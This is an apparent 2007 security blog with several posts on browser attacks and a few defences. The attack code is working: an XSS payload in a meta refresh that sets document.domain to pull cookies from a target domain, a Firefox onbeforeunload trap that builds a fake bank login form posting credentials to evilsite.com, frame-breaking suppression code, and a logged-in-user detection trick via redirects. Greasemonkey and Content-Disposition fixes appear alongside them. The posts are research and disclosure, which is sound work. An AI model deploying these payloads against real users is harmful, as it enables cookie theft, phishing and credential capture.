<html>
<head>
<meta http-equiv="refresh" content="0;http://www.target.com./page.php?vuln=<script>document.domain='com.';window.parent.logic();</script>">
</head>
</html>


In this we have the attack page with the logic on it, which sets the document.domain property when it is loaded, when the iframe gets redirected to the vulnerable page on the target, the target receives no idea what server redirected it there, it then sets the domain to .com. and calls the logic() function from the parent window, which can then extract cookie data from the attacked domain.

Of course, if you run the same attack for long enough, or have a worm, then a client-side tracker could be implemented because, just as you can extract data from the target domain, they can extract data from your domain. Even given this limitations though it is a step that is unlikely to be taken by any admin, but should still be considered.

Furthermore this should not be put on any site which hosts an actual site because if another attacker found such an attack page on a live server, then they could easily conduct attacks similar to the one against MySpace described in trev's post.

[EDIT]: Sorry guys; false alarm. This doesn't fully work against IE and Opera because they treat target.com and target.com. as separate domains,and so store cookies separately. I have figured out a way to overcome this, which I've posted here: http://kuza55.blogspot.com/2007/03/non-persistent-untraceable-xss-attacks_30.html so that anyone who has already seen this post will hopefully notice the second one.

Monday, March 26, 2007

Partially stopping sites breaking out of frames in Mozilla

I've been looking for ways to stop sites breaking out of frames for a long time now, and haven't been able to find anything.

And I still haven't been able to get anything working the way I'd like it to, but since I don't have much time these days I thought I'd throw this out there to see if anyone could figure something out. What I'm trying here is to be able to execute XSS attacks within iframes against sites which break out of iframes at the top of each page, but sadly I'm having almost no real success.

Using the idea that I used to implement this; http://kuza55.blogspot.com/2007/03/trapping-mozilla-for-phishing.html, it is possible to stop site breaking out of frames.

Using the following code:
<html>
<body>
<script>
function test(e) {
    window.setTimeout ("stop();", 1);

}

window.onbeforeunload = test;

</script>
<iframe src="http://hackthissite.org/" />
</body>
</html>


But while it is possible to stop http://hackthissite.org from breaking out of an iframe, the moment we call the stop(); function, the iframe also stops loading. So any XSS attacks after the frame breaking code will not be executed.

So as you can see I haven't been able to figure anything out which will stop the top window being changed, but not stop the iframe being loaded. Hopefully someone else will have more luck.

Tuesday, March 20, 2007

Trapping Mozilla For Phishing

I was looking at the onbeforeunload event handler today in the hopes of finding a way to attack/implement Martin Johns' paper SessionSafe: Implementing XSS Immune Session Handling (there's also some discussion about the paper here: http://sla.ckers.org/forum/read.php?13,7607), and while I didn't find anything useful there, I did find a way to entrap, and therefore conduct phishing attacks against more aware Mozilla users.

Before delving into an explanation, here's the code which I'll explain:

<html>
<body>
<script>
function test(e) {
window.setTimeout ("stop();", 1);
window.setTimeout ("var test = document.getElementById ('test'); test.style.display = 'block';var test2 = document.getElementById ('test2'); test2.style.display = 'none';", 1);
}

window.onbeforeunload = test;

</script>
<div id="test2">Please go to bankofamerica.com</div>
<div style="display:none;" id="test">Please Enter your Login Details here:
<form action="http://evilsite.com/">
Username: <input name="username">
Password: <input type="password" name="password">
</form></div>
</body>
</html>


Anyway; when using the onbeforeunload event handler it is still possible to access the window object, and therefore still possible to set time-outs.

In our time-outs, we can call the stop() function. When the stop(); function is called the location bar is not reset, and therefore will display the URL the user entered.

The next thing we would like to do would be to add some data to the page which makes it look like a phishing site. Sadly (or Luckily depending on your view point), when you call the document.write() function, the location bar is reset, and therefore we must use the DOM to make the existing page disappear, and add our new page.

Simple Enough.

One thing you should note though, is that there is a bug in Firefox where, if you enter, say, google, then press Ctrl+Enter, then go to another tab, and then return, the address bar will read "google" rather than "http://www.google.com/", but its not a very likely scenario, so should not be much cause for concern. And furthermore it is (to my knowledge) impossible to find out where the user is going, so I do not think there are many uses other than a phishing page like the example provided.

You also cannot force the user to programmatically go to a page, and stop that and have the URL changed. the URL is changed programmatically only when the browser successfully loads the page.

Oh, and AFAIK a slightly similar (in terms of effect, not implementation) vuln in IE is still unpatched: http://lcamtuf.coredump.cx/ietrap/

P.S. This was tested on Firefox 2.0.0.2

Monday, February 26, 2007

stopgetpass.user.js - an interim solution

A couple of days ago I posted a method of breaking the RSCR Fix Mozilla implemented in Firefox. Today, I want to post an interim fix for the issue in the form of a Greasemonkey script:

for (i=0,c=document.forms.length;i<c;i++) {
    if (document.forms[i].method == 'get') {
        var password = false;
        for (l=0,k=document.forms[i].elements.length;l<k;l++) {
            if (document.forms[i].elements[l].type == 'password') {
                password = true;
            }
        }
        if (password == true) {
            document.forms[i].method = "post"
        }
    }
}


Essentially it just loops through all the forms on a page and sets the method on all forms with password fields to post. So while this will stop you from the attack I described, it will most likely break sites, so once a patch comes out of Mozilla (which I honestly hope it will, because otherwise all their efforts on the previous patch will be in vain), this will need to be removed.

Also, since this script is extracting method and type values from the DOM, it doesn't have to worry about case, obfuscation, etc, so it should not be vulnerable to any obfuscation of either the type or the method properties.

I'm sure you all know how to install Greasemonkey scripts,so I'm not going to bother explaining how to here, because for those who don't there's always Google.

P.S. 50th Post! Hurray, I've managed to actually stay interested in something for an extended period of time. I'm sure that some of the posts were completely disinteresting to people, but I hope that some of them weren't.

More Authenticated Redirect Abuse

A while ago I wrote two posts entitled Detecting Logged In Users and More Logged In User Detection via Authenticated Redirects.

Today I want to expand a bit more on how Authenticated redirects can be abused.

I want to talk about how you can abuse authenticated redirects which only redirect to certain domains (i.e. not yours), and not get stopped by extensions such as SafeHistory and SafeCache.

If we can redirect to any resource on a server it is quite reasonable to assume that we can redirect to either an image or a piece of javascript.

First of all, lets say our redirection script that exists on http://target.com/redir.php looks like this: (Ignore the fact that if it was an old version of PHP it would be vulnerable to response splitting, and the fact that parse_url doesn't validate URLs);

<?php

session_start();

if ($_SESSION['logged_in'] == true) {
    if ( is_string($_GET['r']) ) {
        $url_array = parse_url ($_GET['r']);
        if ($url_array['host'] == $_SERVER['SERVER_NAME']) {
            header ("Location: " . $_GET['r']);
            die();
        }
    }
}

header ("Location: http://" . $_SERVER['SERVER_NAME'] . "/index.php");

?>


Knowing that we can redirect to any resource on the server we can create something like the following:

<html>
<body>
<img src="http://target.com/redir.php?r=http://target.com/images/logo.png" onload="alert('logged in');" onerror="alert('not logged in');" />
</body>
</html>


We could also redirect to javascript objects and overwrite the functions it calls,so that we know when it executes, but that's a whole lot more work.

Also, one other thing I failed to mention in either of the two previous posts, is that the technique I described in them can be used in any situation where something is loaded into the history, which includes iframes, popups, etc - but they are of course much less common.

Saturday, February 24, 2007

Fixing IE Content-Type Detection Issues: Output Filtering Instead Of Input Validation

[EDIT](25/02/07): It seems that this method doesn't completely work, so please read the comments to find more info, because otherwise this isn't going to do you any good.

There's been a bit of discussion over a sla.ckers.org about injecting Javascript into uploaded image files, and having IE detect the content type as text/html rather than the content-type sent by the server. For anyone who isn't familiar with the issue I recommend you read the following post: http://www.splitbrain.org/blog/2007-02/12-internet_explorer_facilitates_cross_site_scripting Not because its the first mention of it, but its the best and most technical description I've seen.

Anyway; to take a leaf out of Sylvan von Stuppe's book, I'd like to recommend a way to do (the equivalent of) output filtering, rather than input validation to stop this issue.

First of all, lets take a look at why we would ever do input validation to stop XSS attacks. The only reason we have ever had to do input validation is to stop people inputting Javascript, but allowing them to input html.

In all other situations where we don't need to allow certain html, we can simply encode all output in the appropriate char set, and we're safe.

And there is no reason we would ever need to allow users to upload images which get interpreted as html files, and therefore served as such.

So, having established (at least in my view), that output filtering is the way to go; how would we go about doing this without altering the image?

Well, in this case its easy enough; all we need to do is use a header that IE does respect; the Content-Disposition header. And possibly also a Content-Type header of application/octet-stream or we may not, depending on how paranoid we are, and how much we want to (possibly) break things.

There are several way to do this.

On Apache, the best solution is to use mod_headers to send the header for all files in a particular directory, and move all your uploads there.

Microsoft provides an explanation of how you can achieve the same on IIS here: http://support.microsoft.com/kb/q260519/

You can of course, also set PHP or any other server side language as the handler for all the files in a directory, and then use the header() (or similar) function to send the Content-Disposition header tot he browser.

Of course, this might be annoying if a user does something like right click on an image and click view image, but this is a minor inconvenience IMO.